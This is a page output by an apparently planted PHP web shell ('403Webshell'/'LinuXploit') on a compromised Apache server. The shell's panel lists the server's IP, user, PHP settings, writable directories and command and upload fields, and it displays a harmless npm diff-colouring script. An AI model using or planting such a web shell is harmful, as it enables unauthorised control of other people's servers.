403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.37
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/node_modules/@npmcli/disparity-colors/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/node_modules/@npmcli/disparity-colors/lib/index.js
const ansi = require('ansi-styles')

const colors = {
  removed: ansi.red,
  added: ansi.green,
  header: ansi.yellow,
  section: ansi.magenta,
}

function colorize (str, opts) {
  let headerLength = (opts || {}).headerLength
  if (typeof headerLength !== 'number' || Number.isNaN(headerLength)) {
    headerLength = 2
  }

  const color = (colorStr, colorId) => {
    const { open, close } = colors[colorId]
    // avoid highlighting the "\n" (would highlight till the end of the line)
    return colorStr.replace(/[^\n\r]+/g, open + '$&' + close)
  }

  // this RegExp will include all the `\n` chars into the lines, easier to join
  const lines = ((typeof str === 'string' && str) || '').split(/^/m)

  const start = color(lines.slice(0, headerLength).join(''), 'header')
  const end = lines.slice(headerLength).join('')
    .replace(/^-.*/gm, color('$&', 'removed'))
    .replace(/^\+.*/gm, color('$&', 'added'))
    .replace(/^@@.+@@/gm, color('$&', 'section'))

  return start + end
}

module.exports = colorize

Youez - 2016 - github.com/yon3zu
LinuXploit